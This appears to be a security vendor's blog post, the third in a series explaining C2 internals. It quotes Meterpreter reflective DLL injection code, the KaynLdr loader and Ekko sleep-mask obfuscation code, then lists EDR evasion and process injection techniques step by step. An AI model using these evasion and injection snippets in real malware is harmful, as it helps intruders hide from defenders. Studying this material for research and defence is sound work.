xmark.svg
email

Vraag een Gratis Demo aan

Klaar om te beginnen? We zijn hier om te helpen. Vul uw bedrijfsgegevens in en we nemen zo snel mogelijk contact met u op.

img-form.svg
xmark.svg
email

Contact Partner

Klaar om te beginnen? We zijn hier om te helpen. Vul uw bedrijfsgegevens in en we nemen zo snel mogelijk contact met u op.

img-form.svg
xmark.svg

Gecompromitteerd!

Onze gegevens tonen aan dat inloggegevens zijn gelekt als gevolg van een datalek.


Geen zorgen, we zijn hier om te helpen. Vraag hieronder een demo aan en we helpen u de inbreuk te identificeren en te volgen.

img-form.svg
xmark.svg

Gecompromitteerd!

Onze gegevens tonen aan dat inloggegevens zijn gelekt als gevolg van een datalek.


Geen zorgen, we zijn hier om te helpen. Vraag hieronder een demo aan en we helpen u de inbreuk te identificeren en te volgen.

img-form.svg
xmark.svg

Niet Gevonden!

Nog geen blootgestelde inbreuken met betrekking tot uw bedrijf!


Our comprehensive feeds are updated twice a day, which means every day is a possibility of capturing data related to your organization. We recommend to request a demo for detailed explanation of our services and how we can help you prevent data breaches in advance.

img-form.svg
xmark.svg
email
xmark.svg

Alleen op uitnodiging

Wij werken alleen op uitnodiging. Vraag een demo aan om te kunnen aanmelden/inloggen.

email
xmark.svg

Bedankt voor uw inschrijving!

We zullen u e-mailen voor updates, blogposts, nieuw onderzoek en meer!





How C2 Works In-Depth [Part 3]

Door Hossam Ehab

Laatst bijgewerkt Dec 03, 2024 - 26 Minuten Lezen

How C2 Works In-depth

Today's Table of Content [Part 3]

  • Third Part:

    • Entire extebsions of the Meterpreter & Code Analysis  
    • RDI in modern C2
    • Evading EDRs with modern evasive techniques
    • How is the ReflectiveLoader Function Called in a DLL
    • Hooking Techniques Employed by EDR Systems for Malware Detection

Entire extensions of the Meterpreter & Code Analysis

Let's break down how Metasploit handles essential tasks like uploading and downloading files. To understand this, we first need to look at the stdapi DLL, which is central to these operations. This DLL is loaded into memory using a reflective loader

URL -> https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/stdapi/server/stdapi.c

As you observe in this code also includes bringing in the reflectiveloader, a important part that allows the stdapi DLL to dynamically reflect into memory Let's simplify this process to better see how it works!

Continuing Explanation of the Reflective DLL Injection in (tokendup.c)

In the tokendup.c file wich is responsible for elevating privileges, our primary focus privilege escalation by injecting a DLL into a system service using Reflective DLL Injection (RDI). This method allows will also the DLL to be loaded into a target process's memory without being written to disk... Let's break down how this process is handled in the code.

URL -> https://github.com/rapid7/meterpreter/blob/master/source/extensions/priv/server/elevate/tokendup.c

Screenshot-2024-09-02-183804

How it works?

  • Loading the Reflective Loader:

    LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);
    • The reflective loader is extracted from the packet. This function is embedded in the DLL and is responsible for loading the DLL into the target process's memory.
  • Checking for Required System Architecture:

    if( elevate_getnativearch() != PROCESS_ARCH_X86 )
        BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. Unsupported platform", ERROR_BAD_ENVIRONMENT );
    • The function verifies that the system architecture is x86, as RDI in this context only supports 32-bit systems.
  • Opening the Remote Process:

    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId);
    if( !hProcess )
        break;
    • A handle to the target process is opened with permissions necessary to allocate memory, write to memory, and create a thread within the process.
  • Allocating Memory in the Target Process:

    lpRemoteCommandLine = VirtualAllocEx(hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    if( !lpRemoteCommandLine )
        break;
    • Memory is allocated in the remote process's address space. This memory will be used to store the command line string that will be passed to the injected DLL.
  • Writing the Command Line to the Remote Process:

    if( !WriteProcessMemory(hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL) )
        break;
    • The command line (cCommandLine) is written into the allocated memory of the remote process. This command line will be used by the injected DLL.
  • Injecting the DLL using RDI:

    hThread = LoadRemoteLibraryR(hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine);
    if( !hThread )
        break;
    • LoadRemoteLibraryR performs the Reflective DLL Injection. It injects the DLL (contained in lpServiceBuffer) into the target process (hProcess). The reflectiveLoader function is used to load the DLL into memory, and lpRemoteCommandLine is passed as an argument to the DLL.
  • Waiting for the DLL to Execute:

    if( WaitForSingleObject(hThread, 30000) != WAIT_OBJECT_0 )
        break;
    • WaitForSingleObject waits for the injected thread (which represents the DLL’s execution) to complete. The function waits up to 30 seconds for the DLL to finish its execution within the target process.

 

 

RDI in modern C2

In an alternate C2 framework, there's a contemporary approach to reflective loading known as the Kayn Loader, and it has been integrated into frameworks like Havoc-C2.

This technique addresses certain issues found in Stephen Fewer's method. Specifically, in Stephen Fewer's Reflective DLL Injection (RDI), the entire memory region for DLL(s) is set to be RWX (read, write, execute). However, Kayn Loader takes a more precise approach by specifying memory protection for each part of the memory individually.

URL -> https://github.com/Cracked5pider/KaynLdr/blob/main/KaynLdr/src/KaynLdr.c

// ----------------------------------
// 5. Set protection for each section
// ----------------------------------

for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )
{
    SecMemory       = KVirtualMemory + SecHeader[i].VirtualAddress;
    SecMemorySize   = SecHeader[i].SizeOfRawData;
    Protection      = 0;
    OldProtection   = 0;

    if ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE )
        Protection = PAGE_WRITECOPY;

    if ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ )
        Protection = PAGE_READONLY;

    if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ ) )
        Protection = PAGE_READWRITE;

    if ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE )
        Protection = PAGE_EXECUTE;

    if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE ) )
        Protection = PAGE_EXECUTE_WRITECOPY;

    if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ ) )
        Protection = PAGE_EXECUTE_READ;

    if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ ) )
        Protection = PAGE_EXECUTE_READWRITE;

    Instance.Win32.NtProtectVirtualMemory(NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection);
}

This part of the code does several important things:

First, the loader goes through each section of the DLL. Each section can contain different types of data, like code or information. For each section, the code checks what kind of permissions it needs. It looks to see if the section should be writable, readable, or executable.

The variable SecMemory points to the start of the current section in the virtual memory where the DLL is loaded. SecMemorySize holds the size of that section. The Protection variable is used to determine the memory protection settings, and OldProtection will store the previous protection settings before they are changed.

The code then uses a series of if statements to check the characteristics of each section. These characteristics are flags that tell the loader what the section is supposed to do. For example, IMAGE_SCN_MEM_WRITE means the section can be written to, IMAGE_SCN_MEM_READ means it can be read, and IMAGE_SCN_MEM_EXECUTE means it can be executed as code.

Depending on which flags are set, the loader assigns a specific protection level:

  • If the section is writable, it sets the protection to PAGE_WRITECOPY, which allows writing but not executing.
  • If the section is readable, it sets the protection to PAGE_READONLY, allowing only reading.
  • If the section needs to be both readable and writable, it uses PAGE_READWRITE, which allows both actions.
  • If the section should be executable, it uses PAGE_EXECUTE, allowing the code to run.
  • For sections that need to be both executable and writable, it uses PAGE_EXECUTE_WRITECOPY.
  • If a section needs to be executable and readable, it sets PAGE_EXECUTE_READ.
  • Finally, if a section needs to be executable, readable, and writable, it uses PAGE_EXECUTE_READWRITE.

After determining the correct protection level, the loader calls the NtProtectVirtualMemory function. This function changes the protection settings of the specified memory area. It ensures that each section of the DLL has only the permissions it needs. For example, code sections will be executable but not writable, while data sections might be writable but not executable.

Sleep Mask Obfuscation

Introduction to Sleep Mask Obfuscation :-

imagine an adversary establishing a successful C2 connection, only to have their malware detected by a memory scanner before it can act. The payload, sitting idle or loading in memory, triggers alarms, exposing the attack. Memory scanning tools now frequently catch malware in these vulnerable states. To avoid this, attackers use Sleep Mask Obfuscation, a technique that encrypts the payload in memory and only decrypts it when needed, evading detection. By combining encryption, memory protection switching, and ROP chains, malware can operate stealthily while maintaining C2 control.

In this blog section, we'll explore how each of these components works.
At the first, here’s a simple outline of how this works in practice:

  1. Sleep Mode - When idle, the malware encrypts itself in memory and sets the memory region to non-executable. It also sets a waitable timer for when it will next check in with the C2 server.
  2. Periodic Wake-Up - At the scheduled time, the malware decrypts itself, checks in with the C2 server, and listens for new instructions.
  3. Execution - If the C2 server sends a command, the malware decrypts the payload, executes the command, and then re-encrypts itself.
  4. Idle Period - During idle times, the payload remains encrypted and hidden from memory scanners, with no visible code that could trigger detection.

1. Memory Encryption and Decryption 

When malware is idle (waiting for instructions from the C2 server), it encrypts its memory region to hide its code. This ensures that if a memory scanner attempts to inspect the process, it will only see encrypted data, making it impossible to understand or analyze the payload. The encryption process is often done using symmetric algorithms such as RC4 due to its speed and low overhead.

Key Aspects:

  • Memory regions storing the payload are encrypted during inactivity.
  • The payload is decrypted only during execution to reduce exposure.

Example: Encrypting the Process with RC4

// Random key generation for RC4 encryption
CHAR keyBuffer[16] = { 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18 };

// Load SystemFunction032, the function that performs RC4 encryption
SystemFunction032 = (tSystemFunction032) GetProcAddress(hAdvapi32, "SystemFunction032");

// Encrypt the payload (image) in memory
ctxEncryption.Rsp -= (8 + 0xF0);  // Adjust the stack pointer
ctxEncryption.Rip = (DWORD_PTR) SystemFunction032;  // RC4 encryption function address
ctxEncryption.Rcx = (DWORD_PTR) &Image;  // Pointer to the payload (image) to encrypt
ctxEncryption.Rdx = (DWORD_PTR) &Key;  // Pointer to the encryption key
  • In this code, the payload (stored in the Image) is encrypted in memory using RC4. The encryption key is dynamically generated, ensuring that each session of the malware has a unique encrypted payload, making it more difficult for static analysis tools to match the pattern.

2. Memory Protection Switching

To execute the encrypted code, the malware first needs to make the memory region writable (so that the decryption can happen). Once the payload is decrypted, the memory needs to be made executable again so that the decrypted code can run.

This involves switching memory protection flags using VirtualProtect. Switching between PAGE_READWRITE (for decryption) and PAGE_EXECUTE_READWRITE (for execution) is essential for hiding the payload while idle and only revealing it for a brief moment during execution.

Switching Memory Protection

// Switch memory to RW (Read-Write) to allow decryption
ctxProtectionRW.Rsp -= (8 + 0x150);  // Adjust the stack pointer
ctxProtectionRW.Rip = (DWORD_PTR) VirtualProtect;  // Call VirtualProtect to change memory protection
ctxProtectionRW.Rcx = (DWORD_PTR) ImageBase;  // Address of the memory region (payload)
ctxProtectionRW.Rdx = ImageSize;  // Size of the memory region
ctxProtectionRW.R8  = PAGE_READWRITE;  // Set memory to read-write for decryption

// After decryption, switch memory to RX (Execute-Read) to allow execution
ctxProtectionRWX.Rsp -= (8 + 0x30);
ctxProtectionRWX.Rip = (DWORD_PTR) VirtualProtect;
ctxProtectionRWX.Rcx = (DWORD_PTR) ImageBase;
ctxProtectionRWX.Rdx = ImageSize;
ctxProtectionRWX.R8  = PAGE_EXECUTE_READWRITE;  // Set memory to execute-read for running the payload
  • When the memory is in PAGE_READWRITE mode, it allows the malware to decrypt the encrypted payload. Once the decryption is complete, the memory is switched to PAGE_EXECUTE_READWRITE, allowing the malware to execute the decrypted code. This process ensures that the payload is only in an executable state for short periods, minimizing its exposure to security tools.

3. ROP Chains for Indirect Execution 

To further reduce detection, malware can avoid directly calling sensitive functions like VirtualProtect or encryption functions. Instead, it uses Return-Oriented Programming (ROP) chains, which string together small snippets of existing code (called gadgets) that are already present in memory. These gadgets are carefully selected to manipulate the CPU registers and execute desired functions without making suspicious direct API calls.

How ROP Works:

  • ROP chains are sequences of instructions that end in RET (return instructions), allowing the malware to control the flow of execution indirectly.
  • Each gadget performs a small operation, and by chaining them together, complex operations like memory protection changes and encryption can be carried out stealthily.

Example: Executing ROP Chains for Memory Protection and Encryption

// Find ROP gadgets for manipulating registers
rcxGadget = findGadget((PBYTE) "\x59\xC3", "xx");  // Example gadget to manipulate RCX
rdxGadget = findGadget((PBYTE) "\x5A\xC3", "xx");  // Example gadget to manipulate RDX
shadowFixerGadget = findGadget((PBYTE) "\x48\x83\xC4\x20\x5F\xC3", "xxxxxx");  // Gadget to fix shadow stack

// Execute the ROP chain for encryption, decryption, and memory protection changes
QuadSleep(rcxGadget, rdxGadget, shadowFixerGadget, (PVOID) SleepEx);
  • The malware uses ROP chains to execute memory protection changes and encryption/decryption functions indirectly. This avoids making direct calls to sensitive system functions, which could raise red flags for security tools.

4. Timed Execution with Waitable Timers 

Sleep Mask Obfuscation uses waitable timers to control the timing of encryption, decryption, and execution, ensuring that these actions don’t happen all at once, which would be more suspicious. By spreading out its activity over time, the malware becomes less detectable.

Example: Timed Execution Using Waitable Timers

// Create timers for controlling the timing of different stages
hProtectionRWTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWTimer");
hProtectionRWXTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWXTimer");
hEncryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"EncryptionTimer");
hDecryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"DecryptionTimer");

// Set timers to execute encryption, decryption, and memory protection at staggered intervals
SetWaitableTimer(hEncryptionTimer, &encryptionDueTime, 0, NtContinue, &ctxEncryption, FALSE);
SetWaitableTimer(hDecryptionTimer, &decryptionDueTime, 0, NtContinue, &ctxDecryption, FALSE);
  • By using waitable timers, the malware schedules its encryption, decryption, and memory protection changes to occur at different times, reducing the likelihood of generating suspicious activity all at once.

5. ROP Chain Execution in Assembly (QuadSleep) 

The QuadSleep function, written in assembly, executes the ROP chain for managing the memory protection, encryption, and decryption processes. This is done without directly calling sensitive system functions, further avoiding detection.

Assembly Code Example: QuadSleep Function

[BITS 64]

GLOBAL QuadSleep
EXTERN SleepEx

[SECTION .text]

QuadSleep:
    sub rsp, 0x28               ; Adjust the stack
    mov r10, end
    push r10                    ; Store return address
    push r9                     ; Save r9 register

    mov r10, 0xFFFFFFFF
    push r10                    ; First argument for SleepEx
    push rcx                    ; Store rcx
    mov r10, 1
    push r10                    ; Second argument for SleepEx
    push rdx                    ; Store rdx

    lea r10, [rdx + 1]
    push r10                    ; Adjust the stack

    jmp r9                      ; Jump to the next gadget

end:
    add rsp, 0x28               ; Restore the stack
    ret                         ; Return from the ROP chain
  • This Assembly function sets up the ROP chain, managing the stack and CPU registers to perform encryption, decryption, and memory protection changes without direct calls to the APIs.

 

Example: Ekko Technique for Sleep Mask Obfuscation

Below is a simplified example using the Ekko technique, which illustrates how malware can use Sleep Mask Obfuscation to evade detection while maintaining control through C2 communication.

Code implant example by 5Cpider ( Link : Github - Cracked5pider - Ekko ) :

 VOID EkkoObf(DWORD SleepTime) {
    CONTEXT CtxThread = { 0 };
    CONTEXT RopProtRW = { 0 };
    CONTEXT RopMemEnc = { 0 };
    CONTEXT RopDelay  = { 0 };
    CONTEXT RopMemDec = { 0 };
    CONTEXT RopProtRX = { 0 };

    HANDLE hTimerQueue = CreateTimerQueue();
    HANDLE hEvent = CreateEventW(0, 0, 0, 0);
    PVOID ImageBase = GetModuleHandleA(NULL);
    DWORD ImageSize = ((PIMAGE_NT_HEADERS)((DWORD64)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;

    CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
    USTRING Key = { .Buffer = KeyBuf, .Length = 16, .MaximumLength = 16 };
    USTRING Img = { .Buffer = ImageBase, .Length = ImageSize, .MaximumLength = ImageSize };

    // Capture the context and set up ROP chains
    CreateTimerQueueTimer(&hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD);
    WaitForSingleObject(hEvent, 0x32);

    // Set memory to RW for decryption, then back to RX for execution
    memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopDelay,  &CtxThread, sizeof(CONTEXT));
    memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));

    RopProtRW.Rip = VirtualProtect;
    RopProtRW.Rcx = ImageBase;
    RopProtRW.Rdx = ImageSize;
    RopProtRW.R

8  = PAGE_READWRITE;

    RopMemEnc.Rip = SysFunc032;
    RopMemEnc.Rcx = &Img;
    RopMemEnc.Rdx = &Key;

    RopDelay.Rip = WaitForSingleObject;
    RopDelay.Rcx = NtCurrentProcess();
    RopDelay.Rdx = SleepTime;

    RopMemDec.Rip = SysFunc032;
    RopMemDec.Rcx = &Img;
    RopMemDec.Rdx = &Key;

    RopProtRX.Rip = VirtualProtect;
    RopProtRX.Rcx = ImageBase;
    RopProtRX.Rdx = ImageSize;
    RopProtRX.R8  = PAGE_EXECUTE_READWRITE;

    // Execute the sequence with timers
    CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
}
 

Code Explanation:

  • Encryption and Decryption Mechanism

     The Sleep Mask Obfuscation lies in its ability to disguise the malicious code's execution pattern. This is achieved through dynamic encryption and decryption of the code segment, using a randomly   generated cryptographic key:


    CHAR KeyBuf[16]; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; }

This segment initializes a 16-byte key with random values. The unpredictability of the key is crucial, as it ensures that the encryption pattern is unique for each execution, thereby complicating static and dynamic analysis.

  • Dynamic Memory Protection

    To execute encrypted code, the memory region containing the code must first be made writable (to decrypt the code) and then executable (to execute the decrypted code). This is managed through calls to VirtualProtect, altering the memory protection status:


    RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE;

Initially, the memory region is set to PAGE_READWRITE to allow decryption. Post decryption, it's changed to PAGE_EXECUTE_READWRITE for execution. This manipulation of memory protections is a red flag for EDR systems, hence the need for obfuscation.

  • Timed Execution and Obfuscation

     The obfuscation routine employs a timer-based execution strategy to further conceal the decryption and execution process:


    CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
          

By spacing out the encryption, decryption, and execution steps over time, the technique dilutes the concentration of suspicious activities, making detection more challenging for time-based heuristic analysis.

  • Return-Oriented Programming ( ROP ) Chains

     Shortly, Return-Oriented Programming (ROP) chains are a sophisticated technique used in software exploitation and obfuscation to execute code sequences in a controlled manner. ROP works by finding and   executing snippets of code already present in a program's memory, known as "gadgets," to perform arbitrary operations without introducing new code. Each gadget typically ends in a ret instruction, allowing an   attacker to chain them together to execute complex sequences by carefully arranging return addresses on the stack.


    RopMemEnc.Rip = SysFunc032; // Points to SystemFunction032 (RtlEncryptDecryptRC4)
 

Here, SysFunc032 is indirectly invoked via an ROP gadget, encrypting or decrypting the target memory region without a direct call.

Evading EDRs with Modern C2 Techniques

Traditional Methods Weakness

Process Injection Methods and Their Limitations — such as DLL injection, remote thread creation, and code injection using WriteProcessMemory and CreateRemoteThread—were once effective methods for executing arbitrary code within legitimate processes. However, modern Endpoint Detection and Response (EDR) systems have significantly advanced their detection capabilities. They now employ sophisticated monitoring of API calls, memory analysis, and behavioral heuristics to identify and block these conventional techniques.

Weaknesses of Traditional Methods:

  • Traditional injection methods leave behind recognizable patterns and artifacts that EDRs can detect.
  • EDRs hook common APIs used for injection, triggering alerts when they're called anomalously.
  • In-memory code injections are identified through memory analysis techniques that detect discrepancies in code sections.

Evolution of C2 Techniques to Evade Detection

In response to the enhanced scrutiny from EDRs, modern Command and Control (C2) frameworks have evolved to adopt stealthier techniques. These methods focus on minimizing footprints, avoiding known signatures, and blending malicious activities with legitimate system operations.

Advanced Techniques Include:

  • Living Off the Land Binaries (LoLBins) - Using legitimate system tools (e.g., PowerShell, MSHTA) to execute code, reducing reliance on external binaries
  • In-Memory Execution 
  • Indirect Syscalls - Bypassing API hooks by invoking system calls directly, avoiding user-mode API monitoring

Hooking 

Function hooking lets C2 systems sneakily watch and change system, API, and function calls in both user and kernel modes. This sneaky move lets them mess with software's normal working, avoiding EDRs' eyes.

  • User Mode Hooking: Uses basic tricks like messing with the IAT (Import Address Table), putting code directly inline, and using trampolines. These keep the sneakiness at the app level, out of EDR sight.

  • Kernel Mode Hooking: Goes deeper, using stuff like SSDT (System Service Descriptor Table) hooking, messing with the IDT (Interrupt Descriptor Table), and tweaking MSR (Model Specific Registers). This deep level trickery messes with system calls, giving more control and hiding.

Function Hooking Types (Simple Examples)

Hooking Techniques Employed by EDR Systems for Malware Detection

Import Address Table (IAT) Hooking User-mode
  • Changes the Import Address Table in a program to redirect function calls to custom code.
  • Lets EDR tools catch API calls when the program makes them.
  • Helps in watching and analyzing function usage to find suspicious actions.
Export Address Table (EAT) Hooking User-mode
  • Changes the Export Address Table in a DLL to redirect function calls to custom code.
  • Helps EDR tools catch and monitor calls to these functions.
  • Aids in detecting suspicious actions by observing function usage.
Inline Hooking (Code Patching) User-mode / Kernel-mode
  • Overwrites the start of functions with a jump to custom code.
  • Allows EDR tools to catch function calls at the instruction level.
  • Useful for intercepting important functions that malware might use.
System Service Descriptor Table (SSDT) Hooking Kernel-mode
  • Changes entries in the SSDT to redirect system calls to custom kernel code.
  • EDR tools can catch and watch low-level OS services like file actions.
  • Helps detect malware trying to misuse system services.
Interrupt Descriptor Table (IDT) Hooking Kernel-mode
  • Changes entries in the IDT to redirect interrupts to custom code.
  • Allows EDR tools to catch events like system calls and exceptions.
  • Helps in monitoring critical events that malware might exploit.
Page Table Entry (PTE) Hooking Kernel-mode
  • Modifies page table entries to control memory access at the hardware level.
  • EDR tools can watch and protect memory areas by catching access attempts.
  • Prevents malware from injecting or running code in protected memory.
Hooking of Windows Registry Functions User-mode / Kernel-mode
  • Catches registry function calls to monitor access to important registry keys.
  • EDR tools detect when malware tries to change startup entries or system settings.
  • Intercepts functions like RegSetValueEx for analysis.
API Call Monitoring and Hooking User-mode
  • Watches API calls made by programs by hooking functions in the Win32 API.
  • EDR tools analyze API calls to find malware behaviors.
  • Helps detect strange network activities or file changes.
Debugging Function Hooking User-mode
  • Hooks debugging functions like UnhandledExceptionFilter.
  • Malware might use these to run code secretly or bypass security checks.
  • EDR tools monitor unusual use of debugging features.
Hardware Breakpoint Monitoring Kernel-mode
  • Uses hardware breakpoints to watch critical functions without changing code.
  • EDR tools set debug registers to trigger on specific memory access.
  • Allows stealthy interception of function calls or memory accesses.
Hypervisor-Based Hooking Hypervisor
  • Uses virtualization to create a hypervisor below the OS.
  • EDR tools catch sensitive operations by trapping into the hypervisor.
  • Provides a stealthy and secure way to monitor the system.
Kernel Callback Functions Kernel-mode
  • Registers callback functions provided by the Windows Kernel.
  • EDR tools get alerts on process creation and module loading.
  • Helps monitor actions used by malware to inject code.
System Call Tracing User-mode / Kernel-mode
  • Records and analyzes the system calls that programs make.
  • EDR tools trace calls to see low-level actions of applications.
  • Helps detect malware by finding harmful system call patterns.
Driver Dispatch Table Hooking Kernel-mode
  • Modifies the dispatch table of device drivers to intercept I/O requests.
  • EDR tools monitor or modify requests to devices like disks or networks.
  • Helps detect and prevent malicious activities at the driver level.
Virtual Function Table (VTable) Hooking User-mode
  • Modifies the VTable pointers of COM objects or C++ classes.
  • EDR tools intercept method calls on objects without altering code.
  • Useful for monitoring object-oriented APIs used by malware.
User-mode Callback Hooking User-mode
  • Hooks callback functions that applications register with the OS.
  • EDR tools monitor events like window messages or file notifications.
  • Helps detect malware exploiting callbacks for malicious actions.
 

Hardware Breakpoints

In the game of hide and seek between C2 and EDRs, using hardware breakpoints for system calls is getting popular. But, it's risky because EDRs watch thread activities closely, which might expose C2's hidden moves.

Threadless Injection & Sleep Mask Obfuscation

  • Threadless Injection helps in avoiding making new threads to lower chances of being caught by EDRs.
  • Sleep Mask Obfuscation tricks with operation timing and length to stay hidden.

More Simple Evasion Techniques

Going deeper, we find easy evasion tactics. Stuff like making API calls look different and hiding shellcodes with simple encryption stand out. Adding basic function hooking to these tricks helps mess with the normal flow in both user and kernel modes.

 

The most used server side evasive techniques in C&C frameworks

  1. Malleable C2 Profiles - frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection

  2. Encryption and Obfuscation - Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic

  3. Domain Fronting - C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic

  4. Dynamic Domain Generation Algorithms (DGAs) - generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively

  5. Redundant C2 Infrastructure - ensuring operational continuity even if some servers are detected and taken down

  6. JA3/S Fingerprint Manipulation - manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection

  7. Custom Protocol Obfuscation - use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems

The most used client side (Loader) evasive techniques in C&C frameworks

  1. Code Injection - Inject malicious code into legitimate processes to avoid detection. Let's mention some of the injection techniques !


    1. Classic Shellcode Injection
    • Allocate memory in the target process using VirtualAllocEx with appropriate permissions (e.g., PAGE_EXECUTE_READWRITE).
    • Write the malicious shellcode into the allocated memory using WriteProcessMemory.
    • Create a remote thread in the target process to execute the shellcode using CreateRemoteThread or execute via callback functions like SetWindowsHookEx.
    2. Hook Injection
    • Intercept API calls made by the target process using techniques like IAT/EAT hooking or inline hooking.
    • Modify function pointers or overwrite instructions to redirect the intercepted API calls to the malicious code.
    • Ensure that the malicious code is executed whenever the hooked API is called by the target process.
    3. Thread Local Storage (TLS) Callback Injection
    • Modify the target process's Portable Executable (PE) header to include a new TLS callback function.
    • Embed the malicious code as the TLS callback so it executes during process or thread initialization.
    • Ensure the modified PE is loaded by the target process, triggering the execution of the malicious TLS callback.
    4. Asynchronous Procedure Call (APC) Injection
    • Allocate executable memory in the target process using VirtualAllocEx.
    • Write the malicious code into the allocated memory using WriteProcessMemory.
    • Queue an APC to a target thread in the process using QueueUserAPC, pointing to the malicious code.
    • Resume or alert the thread to ensure it reaches an alertable state and executes the APC.
    5. Exception Handling Hijacking Injection
    • Allocate memory in the target process using VirtualAllocEx for the malicious code and the modified exception handler.
    • Write the malicious code and a custom exception handler into the allocated memory using WriteProcessMemory.
    • Modify the target process's exception handling structures (e.g., the Structured Exception Handling chain) to point to the custom handler.
    • Trigger an exception (e.g., divide by zero) in the target process to invoke the custom exception handler and execute the malicious code.
    6. Process Hollowing
    • Create a new suspended process (e.g., using CreateProcess with the CREATE_SUSPENDED flag).
    • Unmap or hollow out the memory of the target process's main executable section using functions like ZwUnmapViewOfSection.
    • Allocate memory in the target process for the malicious executable.
    • Write the malicious executable into the allocated memory using WriteProcessMemory.
    • Adjust the entry point of the process to point to the malicious code.
    • Resume the main thread of the process to execute the malicious code.
    7. Reflective DLL Injection
    • Load a DLL into memory without using the Windows loader, typically from memory rather than disk.
    • Use a reflective loader within the DLL to map the DLL into the target process's memory space.
    • Execute the DLL's entry point or exported functions within the target process.
    • This technique avoids touching disk and can bypass some security controls that monitor disk-based operations.
    8. Process Doppelgänging
    • Abuse the Windows Transactional NTFS (TxF) feature to create a malicious process.
    • Create a transaction and overwrite a legitimate executable within the transaction.
    • Create a process from the modified executable within the transaction.
    • Commit or roll back the transaction, which doesn't affect the in-memory image, thus running the malicious code under the guise of a legitimate process.
    9. Kernel-Mode Driver Injection
    • Load a malicious kernel-mode driver into the operating system.
    • Utilize methods like exploiting vulnerable drivers or disabling driver signature enforcement to load unsigned drivers.
    • The malicious driver can execute code with kernel-level privileges, potentially bypassing user-mode security controls.
  2. DLL Side-Loading - DLL sideloading is an attack on Windows devices in which threat actors distribute a malicious DLL together with a legitimate application that executes it.
  3. Fileless Execution - Execute code directly in memory without leaving traces on disk or downloading the main loader over internet
  4. API Calls Obfuscations - Hiding the API calls inside the code
  5. Delayed Execution - Delay running malicious code to evade initial detection
  6. Anti-Debugging Techniques - Detect and evade debugging attempts
  7. Anti-Sandbox Techniques - Identify and alter behavior to evade sandbox environments
  8. Unhooking User-Land Hooks - Remove hooks injected by security systems in system libraries
  9. Unhooking Import Address Table (IAT) - Remove hooks in the Import Address Table
  10. DirectSys Calls - Use direct system calls instead of APIs to bypass hooking
  11. Merge Module Stomping - Combine with unhooking methods to evade detection further
  12. UUID Obfuscation - Obfuscate shellcode to evade signature-based detection
  13. Domain Fronting with Random Traffic Profiles - Use domain fronting with randomized traffic to evade network detection
  14. Patching Process Event Tracing - Prevent logging by security systems
  15. Spoofed Fake Certificates - Use fake certificates to appear legitimate
  16. Code Metamorphism and Noise Insertion - Constantly change code structure and behavior to evade detection

 The End

References & Resources:

Disclaimer

- The content provided in this blog is for educational purposes only. It explores various cybersecurity techniques, tools, and concepts. Readers are encouraged to use this information responsibly and ethically. Remember that unauthorized or malicious actions are strictly discouraged.

Thanks for reading!

 

image

Klaar om te beginnen? We zijn hier om te helpen! Vraag hieronder een demo aan: